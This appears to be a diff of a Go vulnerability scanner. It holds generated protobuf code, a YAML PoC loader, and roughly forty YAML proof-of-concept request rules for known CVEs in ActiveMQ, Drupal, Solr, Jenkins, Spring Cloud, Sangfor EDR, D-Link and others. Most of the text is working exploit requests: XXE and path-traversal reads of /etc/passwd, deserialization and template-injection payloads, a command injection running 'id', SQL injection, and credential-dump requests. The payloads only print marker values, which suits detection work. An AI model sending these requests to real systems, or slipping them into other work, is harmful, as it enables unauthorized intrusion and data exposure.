if m != nil {
return m.Domain
}
return ""
}
func (m *Reverse) GetIp() string {
if m != nil {
return m.Ip
}
return ""
}
func (m *Reverse) GetIsDomainNameServer() bool {
if m != nil {
return m.IsDomainNameServer
}
return false
}
func init() {
proto.RegisterType((*UrlType)(nil), "lib.UrlType")
proto.RegisterType((*Request)(nil), "lib.Request")
proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry")
proto.RegisterType((*Response)(nil), "lib.Response")
proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry")
proto.RegisterType((*Reverse)(nil), "lib.Reverse")
}
func init() {
proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94)
}
var fileDescriptor_11b04836674e6f94 = []byte{
// 378 bytes of a gzipped FileDescriptorProto
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40,
0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57,
0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2,
0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08,
0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69,
0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51,
0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf,
0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb,
0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a,
0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec,
0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84,
0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10,
0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8,
0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42,
0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2,
0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71,
0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65,
0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55,
0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e,
0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65,
0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74,
0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe,
0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
}
+35
View File
@@ -0,0 +1,35 @@
syntax = "proto3";
package lib;
message UrlType {
string scheme = 1;
string domain = 2;
string host = 3;
string port = 4;
string path = 5;
string query = 6;
string fragment = 7;
}
message Request {
UrlType url = 1;
string method = 2;
map<string, string> headers = 3;
string content_type = 4;
bytes body = 5;
}
message Response {
UrlType url = 1;
int32 status = 2 ;
map<string, string> headers = 3;
string content_type = 4;
bytes body = 5;
}
message Reverse {
UrlType url = 1;
string domain = 2;
string ip = 3;
bool is_domain_name_server = 4;
}
+70
View File
@@ -0,0 +1,70 @@
package lib
import (
"embed"
"fmt"
"gopkg.in/yaml.v3"
"strings"
)
type Poc struct {
Name string `yaml:"name"`
Set map[string]string `yaml:"set"`
Rules []Rules `yaml:"rules"`
Detail Detail `yaml:"detail"`
}
type Rules struct {
Method string `yaml:"method"`
Path string `yaml:"path"`
Headers map[string]string `yaml:"headers"`
Body string `yaml:"body"`
Search string `yaml:"search"`
FollowRedirects bool `yaml:"follow_redirects"`
Expression string `yaml:"expression"`
}
type Detail struct {
Author string `yaml:"author"`
Links []string `yaml:"links"`
Description string `yaml:"description"`
Version string `yaml:"version"`
}
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := loadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
}
}
return pocs
}
func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
return nil, err
}
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
return nil, err
}
return p, err
}
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Println(err)
}
var foundFiles []string
for _, entry := range entries {
if strings.Contains(entry.Name(), pocname) {
foundFiles = append(foundFiles, entry.Name())
}
}
return foundFiles
}
+34
View File
@@ -0,0 +1,34 @@
name: poc-yaml-activemq-cve-2016-3088
set:
filename: randomLowercase(6)
fileContent: randomLowercase(6)
rules:
- method: PUT
path: /fileserver/{{filename}}.txt
body: |
{{fileContent}}
expression: |
response.status == 204
- method: GET
path: /admin/test/index.jsp
search: |
activemq.home=(?P<home>.*?),
follow_redirects: false
expression: |
response.status == 200
- method: MOVE
path: /fileserver/{{filename}}.txt
headers:
Destination: "file://{{home}}/webapps/api/{{filename}}.jsp"
follow_redirects: false
expression: |
response.status == 204
- method: GET
path: /api/{{filename}}.jsp
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(fileContent))
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
links:
- https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
+38
View File
@@ -0,0 +1,38 @@
name: poc-yaml-apache-flink-upload-rce
set:
r1: randomLowercase(8)
r2: randomLowercase(4)
rules:
- method: GET
path: /jars
follow_redirects: true
expression: >
response.status == 200 && response.content_type.contains("json") &&
response.body.bcontains(b"address") && response.body.bcontains(b"files")
- method: POST
path: /jars/upload
headers:
Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
body: |-
--8ce4b16b22b58894aa86c421e8759df3
Content-Disposition: form-data; name="jarfile";filename="{{r2}}.jar"
Content-Type:application/octet-stream
{{r1}}
--8ce4b16b22b58894aa86c421e8759df3--
follow_redirects: true
expression: >
response.status == 200 && response.content_type.contains("json") &&
response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
search: >-
(?P<filen>([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
- method: DELETE
path: '/jars/{{filen}}'
follow_redirects: true
expression: |
response.status == 200
detail:
author: timwhite
links:
- https://github.com/LandGrey/flink-unauth-rce
@@ -0,0 +1,19 @@
name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization
set:
rand: randomInt(200000000, 210000000)
rules:
- method: POST
path: /webtools/control/xmlrpc
headers:
Content-Type: application/xml
body: >-
<?xml
version="1.0"?><methodCall><methodName>{{rand}}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb
@@ -0,0 +1,15 @@
name: poc-yaml-apacheofbiz-cve-2018-8033-xxe
rules:
- method: POST
path: /webtools/control/xmlrpc
headers:
Content-Type: application/xml
body: >-
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
follow_redirects: false
expression: >
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) && response.content_type.contains("text/xml")
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
@@ -0,0 +1,11 @@
name: poc-yaml-bt742-pma-unauthorized-access
rules:
- method: GET
path: /pma/
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"information_schema") && response.body.bcontains(b"phpMyAdmin") && response.body.bcontains(b"server_sql.php")
detail:
author: Facker007(https://github.com/Facker007)
links:
- https://mp.weixin.qq.com/s/KgAaFRKarMdycYzETyKS8A
@@ -0,0 +1,11 @@
name: poc-yaml-cisco-cve-2020-3452-readfile
rules:
- method: GET
path: /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
follow_redirects: false
expression: response.status == 200 && response.headers["Content-Type"] == "application/octet-stream" && response.body.bcontains(b"INTERNAL_PASSWORD_ENABLED")
detail:
author: JrD (https://github.com/JrDw0/)
links:
- https://nvd.nist.gov/vuln/detail/CVE-2020-3452
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86
+12
View File
@@ -0,0 +1,12 @@
name: poc-yaml-coremail-cnvd-2019-16798
rules:
- method: GET
path: >-
/mailsms/s?func=ADMIN:appState&dumpConfig=/
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(bytes("<object name=\"cm_md_db\">"))
detail:
author: cc_ci(https://github.com/cc8ci)
links:
- https://www.secpulse.com/archives/107611.html
@@ -0,0 +1,22 @@
name: poc-yaml-discuz-ml3x-cnvd-2019-22239
set:
r1: randomInt(800000000, 1000000000)
rules:
- method: GET
path: /forum.php
follow_redirects: false
expression: |
response.status == 200
search: cookiepre = '(?P<token>[\w_]+)'
- method: GET
path: /forum.php
headers:
Cookie: "{{token}}language=sc'.print(md5({{r1}})).'"
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(string(r1))))
detail:
author: X.Yang
Discuz_version: Discuz!ML 3.x
links:
- https://www.cnvd.org.cn/flaw/show/CNVD-2019-22239
+14
View File
@@ -0,0 +1,14 @@
name: poc-yaml-dlink-cve-2019-17506
rules:
- method: POST
path: /getcfg.php
headers:
Content-Type: application/x-www-form-urlencoded
body: SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(b"<name>") && response.body.bcontains(b"<password>")
detail:
author: l1nk3r,Huasir(https://github.com/dahua966/)
links:
- https://xz.aliyun.com/t/6453
@@ -0,0 +1,15 @@
name: poc-yaml-dlink-cve-2020-9376-dump-credentials
rules:
- method: POST
path: /getcfg.php
headers:
Content-Type: application/x-www-form-urlencoded
body: >-
SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
expression: >
response.status == 200 && response.body.bcontains(b"<name>Admin</name>") && response.body.bcontains(b"</usrid>") && response.body.bcontains(b"</password>")
detail:
author: x1n9Qi8
Affected Version: "Dlink DIR-610"
links:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376
@@ -0,0 +1,12 @@
name: poc-yaml-docker-api-unauthorized-rce
rules:
- method: GET
path: /info
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"KernelVersion") && response.body.bcontains(b"RegistryConfig") && response.body.bcontains(b"DockerRootDir")
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
links:
- https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce
@@ -0,0 +1,16 @@
name: poc-yaml-docker-registry-api-unauth
rules:
- method: GET
path: /v2/
follow_redirects: false
expression: >
response.status == 200 && "docker-distribution-api-version" in response.headers && response.headers["docker-distribution-api-version"].contains("registry/2.0")
- method: GET
path: /v2/_catalog
follow_redirects: false
expression: >
response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories")
detail:
author: p0wd3r
links:
- http://www.polaris-lab.com/index.php/archives/253/
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /druid/index.html
expression: |
response.status == 200 && response.body.bcontains(b"Druid Stat Index") && response.body.bcontains(b"DruidVersion") && response.body.bcontains(b"DruidDrivers")
detail:
author: met7or
links:
- https://github.com/alibaba/druid
+33
View File
@@ -0,0 +1,33 @@
name: poc-yaml-drupal-cve-2019-6340
set:
host: request.url.host
r1: randomLowercase(4)
r2: randomLowercase(4)
rules:
- method: POST
path: /node/?_format=hal_json
headers:
Content-Type: application/hal+json
Accept: '*/*'
body: |
{
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:10:\"{{r1}}%%{{r2}}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"printf\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
}
],
"_links": {
"type": {
"href": "http://{{host}}/rest/type/shortcut/default"
}
}
}
follow_redirects: true
expression: |
response.status == 403 && response.body.bcontains(bytes(r1 + "%" + r2))
detail:
author: thatqier
links:
- https://github.com/jas502n/CVE-2019-6340
- https://github.com/knqyf263/CVE-2019-6340
@@ -0,0 +1,28 @@
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
set:
r1: randomLowercase(4)
r2: randomLowercase(4)
rules:
- method: POST
path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
search: |
name="form_build_id"\s+value="(?P<build_id>.+?)"
expression: |
response.status == 200
- method: POST
path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_build_id={{build_id}}
expression: |
response.body.bcontains(bytes(r1 + "%" + r2))
detail:
drupal_version: 7
links:
- https://github.com/dreadlocked/Drupalgeddon2
- https://paper.seebug.org/567/
@@ -0,0 +1,20 @@
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
set:
r1: randomLowercase(4)
r2: randomLowercase(4)
rules:
- method: POST
path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
expression: |
response.body.bcontains(bytes(r1 + "%" + r2))
detail:
drupal_version: 8
links:
- https://github.com/dreadlocked/Drupalgeddon2
- https://paper.seebug.org/567/
test:
target: http://cve-2018-7600-8-x.vulnet:8080/
+16
View File
@@ -0,0 +1,16 @@
name: poc-yaml-elasticsearch-unauth
rules:
- method: GET
path: /
follow_redirects: false
expression: |
response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"You Know, for Search")
- method: GET
path: /_cat
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"/_cat/master")
detail:
author: p0wd3r
links:
- https://yq.aliyun.com/articles/616757
@@ -0,0 +1,16 @@
name: poc-yaml-f5-tmui-cve-2020-5902-rce
rules:
- method: POST
path: >-
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
headers:
Content-Type: application/x-www-form-urlencoded
body: fileName=%2Fetc%2Ff5-release
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(b"BIG-IP release")
detail:
author: Jing Ling
links:
- https://support.f5.com/csp/article/K52145254
- https://github.com/rapid7/metasploit-framework/pull/13807/files
+13
View File
@@ -0,0 +1,13 @@
name: poc-yaml-fangweicms-sqli
set:
rand: randomInt(200000000, 210000000)
rules:
- method: GET
path: /index.php?m=Goods&a=showcate&id=103%20UNION%20ALL%20SELECT%20CONCAT%28md5({{rand}})%29%23
expression: |
response.body.bcontains(bytes(md5(string(rand))))
detail:
author: Rexus
Affected Version: "4.3"
links:
- http://www.wujunjie.net/index.php/2015/08/02/%E6%96%B9%E7%BB%B4%E5%9B%A2%E8%B4%AD4-3%E6%9C%80%E6%96%B0%E7%89%88sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
+15
View File
@@ -0,0 +1,15 @@
name: poc-yaml-jboss-cve-2010-1871
set:
r1: randomInt(8000000, 10000000)
r2: randomInt(8000000, 10000000)
rules:
- method: GET
path: /admin-console/index.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23%7b{{r1}}*{{r2}}%7d
follow_redirects: false
expression: |
response.status == 302 && response.headers["location"].contains(string(r1 * r2))
detail:
author: fuping
links:
- http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871
+11
View File
@@ -0,0 +1,11 @@
name: poc-yaml-jboss-unauth
rules:
- method: GET
path: /jmx-console/
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"jboss.management.local") && response.body.bcontains(b"jboss.web")
detail:
author: FiveAourThe(https://github.com/FiveAourThe)
links:
- https://xz.aliyun.com/t/6103
@@ -0,0 +1,14 @@
name: poc-yaml-jenkins-cve-2018-1000861-rce
set:
rand: randomLowercase(4)
rules:
- method: GET
path: >-
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27{{rand}}%27,%20version=%271%27)%0aimport%20Payload;
follow_redirects: false
expression: >-
response.status == 200 && response.body.bcontains(bytes("package#" + rand))
detail:
author: p0wd3r
links:
- https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
@@ -0,0 +1,21 @@
name: poc-yaml-jenkins-unauthorized-access
set:
r1: randomInt(1000, 9999)
r2: randomInt(1000, 9999)
rules:
- method: GET
path: /script
follow_redirects: false
expression: response.status == 200
search: |
"Jenkins-Crumb", "(?P<var>.+?)"\);
- method: POST
path: /script
body: |
script=printf%28%27{{r1}}%25%25{{r2}}%27%29%3B&Jenkins-Crumb={{var}}&Submit=%E8%BF%90%E8%A1%8C
expression: response.status == 200 && response.body.bcontains(bytes(string(r1) + "%" + string(r2)))
detail:
author: MrP01ntSun(https://github.com/MrPointSun)
links:
- https://www.cnblogs.com/yuzly/p/11255609.html
- https://blog.51cto.com/13770310/2156663
@@ -0,0 +1,11 @@
name: poc-yaml-phpmyadmin-cve-2018-12613-file-inclusion
rules:
- method: GET
path: /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
follow_redirects: false
expression: >-
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: p0wd3r
links:
- https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
+19
View File
@@ -0,0 +1,19 @@
name: poc-yaml-phpstudy-backdoor-rce
set:
r: randomLowercase(6)
payload: base64("printf(md5('" + r + "'));")
rules:
- method: GET
path: /index.php
headers:
Accept-Encoding: 'gzip,deflate'
Accept-Charset: '{{payload}}'
follow_redirects: false
expression: |
response.body.bcontains(bytes(md5(r)))
detail:
author: 17bdw
Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
vuln_url: "php_xmlrpc.dll"
links:
- https://www.freebuf.com/column/214946.html
@@ -0,0 +1,13 @@
name: poc-yaml-sangfor-edr-arbitrary-admin-login
rules:
- method: GET
path: /ui/login.php?user=admin
follow_redirects: false
expression: >
response.status == 302 &&
response.body.bcontains(b"/download/edr_installer_") &&
response.headers["Set-Cookie"] != ""
detail:
author: hilson
links:
- https://mp.weixin.qq.com/s/6aUrXcnab_EScoc0-6OKfA
+15
View File
@@ -0,0 +1,15 @@
name: poc-yaml-sangfor-edr-cssp-rce
rules:
- method: POST
path: /api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9
headers:
Content-Type: application/x-www-form-urlencoded
body: >-
{"params":"w=123\"'1234123'\"|id"}
expression: >
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"uid=0(root)")
detail:
author: x1n9Qi8
Affected Version: "Sangfor EDR 3.2.17R1/3.2.21"
links:
- https://www.cnblogs.com/0day-li/p/13650452.html
+14
View File
@@ -0,0 +1,14 @@
name: poc-yaml-sangfor-edr-tool-rce
set:
r1: randomLowercase(8)
r2: randomLowercase(8)
rules:
- method: GET
path: "/tool/log/c.php?strip_slashes=printf&host={{r1}}%25%25{{r2}}"
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(r1 + "%" + r2))
detail:
author: cookie
links:
- https://edr.sangfor.com.cn/
+12
View File
@@ -0,0 +1,12 @@
name: poc-yaml-shiro
rules:
- method: GET
path: /
headers:
Cookie: rememberMe=1
expression: |
"Set-Cookie" in response.headers && response.headers["Set-Cookie"].contains("rememberMe")
detail:
author: test
links:
- https://baidu.com/shiro
+30
View File
@@ -0,0 +1,30 @@
name: poc-yaml-solr-cve-2019-0193
set:
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
- method: GET
path: /solr/admin/cores?wt=json
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"responseHeader")
search: '"name":"(?P<core>.*?)"'
- method: POST
path: >-
/solr/{{core}}/dataimport?command=full-import&debug=true&wt=json&indent=true&verbose=false&clean=false&commit=false&optimize=false&dataConfig=%3CdataConfig%3E%0D%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22DEBUG%22%20%2F%3E%0D%0A%3Cscript%3E%3C!%5BCDATA%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20function%20execute(row)%20%20%20%20%7B%0D%0Arow.put(%22id%22,{{r1}}*{{r2}})%3B%0D%0Areturn%20row%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%5D%3E%3C%2Fscript%3E%0D%0A%3Cdocument%3E%0D%0A%20%20%20%20%3Centity%0D%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0D%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0D%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0D%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20forEach%3D%22%2Fbooks%2Fbook%22%0D%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Aexecute%22%20%3E%0D%0A%09%09%09%3Cfield%20column%3D%22id%22%20name%3D%22id%22%2F%3E%0D%0A%20%20%20%20%3C%2Fentity%3E%0D%0A%3C%2Fdocument%3E%0D%0A%3C%2FdataConfig%3E
headers:
Content-Type: text/html
body: |-
<?xml version="1.0" encoding="utf-8"?>
<books>
<book>
</book>
</books>
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
detail:
author: fnmsd(https://github.com/fnmsd)
solr_version: '<8.1.12'
vulnpath: '/solr/{{core}}/dataimport'
description: 'Apache Solr DataImportHandler Remote Code Execution Vulnerability(CVE-2019-0193)'
links:
- https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193
@@ -0,0 +1,38 @@
name: poc-yaml-solr-velocity-template-rce
set:
r1: randomInt(20000, 40000)
r2: randomInt(20000, 40000)
rules:
- method: GET
path: "/solr/admin/cores?wt=json"
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"responseHeader")
search: |
"name":"(?P<core>[^"]+)"
- method: POST
path: >-
/solr/{{core}}/config
headers:
Content-Type: application/json
body: |-
{
"update-queryresponsewriter": {
"startup": "test",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
expression: response.status == 200
- method: GET
path: "/solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(%24c%3D{{r1}}%20*%20{{r2}})%24c"
follow_redirects: false
expression: response.body.bcontains(bytes(string(r1 * r2)))
detail:
author: Loneyer
description: 'Apache Solr RCE via Velocity template'
links:
- https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
- https://cert.360.cn/warning/detail?id=fba518d5fc5c4ed4ebedff1dab24caf2
@@ -0,0 +1,15 @@
name: poc-yaml-spring-cloud-cve-2020-5405
rules:
- method: GET
path: >-
/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/resolv.conf
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes("This file is managed by man:systemd-resolved(8). Do not edit."))
detail:
version: <= 2.1.6, 2.2.1
author: kingkk(https://www.kingkk.com/)
links:
- https://pivotal.io/security/cve-2020-5405
- https://github.com/spring-cloud/spring-cloud-config
@@ -0,0 +1,12 @@
name: poc-yaml-spring-cloud-cve-2020-5410
rules:
- method: GET
path: >-
/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/a
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: Soveless(https://github.com/Soveless)
Affected Version: "Spring Cloud Config 2.2.x < 2.2.3, 2.1.x < 2.1.9"
links:
- https://xz.aliyun.com/t/7877
+15
View File
@@ -0,0 +1,15 @@
name: poc-yaml-spring-cve-2016-4977
set:
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
- method: GET
path: /oauth/authorize?response_type=${{{r1}}*{{r2}}}&client_id=acme&scope=openid&redirect_uri=http://test
follow_redirects: false
expression: >
response.body.bcontains(bytes(string(r1 * r2)))
detail:
Affected Version: "spring(2.0.0-2.0.9 1.0.0-1.0.5)"
author: hanxiansheng26(https://github.com/hanxiansheng26)
links:
- https://github.com/vulhub/vulhub/tree/master/spring/CVE-2016-4977
@@ -0,0 +1,14 @@
name: poc-yaml-springcloud-cve-2019-3799
rules:
- method: GET
path: >-
/test/pathtraversal/master/..%252F..%252F..%252F..%252F..%252F..%252Fetc%252fpasswd
follow_redirects: true
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
version: <2.1.2, 2.0.4, 1.4.6
author: Loneyer
links:
- https://github.com/Loneyers/vuldocker/tree/master/spring/CVE-2019-3799
+13
View File
@@ -0,0 +1,13 @@
name: poc-yaml-thinkadmin-v6-readfile
rules:
- method: GET
path: /admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b2x322s2t3c1a342w34
follow_redirects: true
expression: |
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes("PD9waH")) && response.body.bcontains(bytes("VGhpbmtBZG1pbg"))
detail:
author: 0x_zmz(github.com/0x-zmz)
info: thinkadmin-v6-readfile By 0x_zmz
links:
- https://mp.weixin.qq.com/s/3t7r7FCirDEAsXcf2QMomw
- https://github.com/0x-zmz
+13
View File
@@ -0,0 +1,13 @@
name: poc-yaml-thinkcmf-lfi
rules:
- method: GET
path: "/?a=display&templateFile=README.md"
expression: |
